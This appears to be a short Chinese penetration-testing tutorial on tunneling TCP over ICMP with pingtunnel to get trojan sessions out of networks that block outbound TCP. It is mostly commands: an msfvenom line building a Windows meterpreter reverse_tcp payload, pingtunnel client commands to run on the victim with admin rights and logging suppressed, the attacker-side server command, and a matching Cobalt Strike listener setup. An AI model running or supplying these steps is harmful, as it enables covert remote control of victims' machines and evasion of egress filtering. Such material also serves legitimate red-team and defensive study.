隧道技术-tcp封装icmp出网

1.背景:

目标出网限制tcp协议

2.msf木马转发上线

生成木马:msfvenom -p windows/meterpreter/reverse_tcp Lhost=127.0.0.1 LPORT=3333 -f exe > msf1.exe

受害机器管理员权限执行:

pingtunnel.exe -type client -l 127.0.0.1:3333 -s 192.168.3.195 -t 192.168.3.195:4444 -tcp 1 -noprint 1 -nolog 1

攻击机器执行:

./pingtunnel -type server

使用msf接受tcp协议木马会话

原理:

木马运行在受害主机使用本地3333端口连接,由tcp协议转换未icmp协议数据出网,由kali接收,并且再次转会tcp协议。

3.cs木马转发上线

cs创建监听器:

使用本地的127.0.0.1:9999tcp协议数据使用icmp封装传递给cs服务端。

cs服务端执行:./ping -type server

受害机器执行:

pingtunnel.exe -type client -l 127.0.0.1:9999-s csip -t csip:7777 -tcp 1 -noprint 1 -nolog 1、

相关推荐
xianwu5431 小时前
反向代理模块jmh
开发语言·网络·数据库·c++·mysql
杨浦老苏2 小时前
面向npm的实时仪表板Dashly
网络·docker·群晖·导航
weisian1513 小时前
消息队列篇--通信协议篇--STOMP(STOMP特点、格式及示例,WebSocket上使用STOMP,消息队列上使用STOMP等)
websocket·网络协议
一ge科研小菜鸡4 小时前
网络安全攻防实战:从基础防护到高级对抗
网络
jax不摆烂5 小时前
浅谈TCP/IP
网络·tcp/ip
时空自由民.5 小时前
手机连接WIFI可以上网,笔记本电脑连接WIFI却不能上网? 解决方法?
网络
追风赶月、6 小时前
【网络】传输层协议UDP
网络·网络协议·udp
霸王蟹6 小时前
http和https的区别?
网络·笔记·网络协议·学习·http·https
精通HelloWorld!6 小时前
使用HttpClient和HttpRequest发送HTTP请求
java·spring boot·网络协议·spring·http
知名“矿工”6 小时前
天融信 NGFW2.3 mibs
网络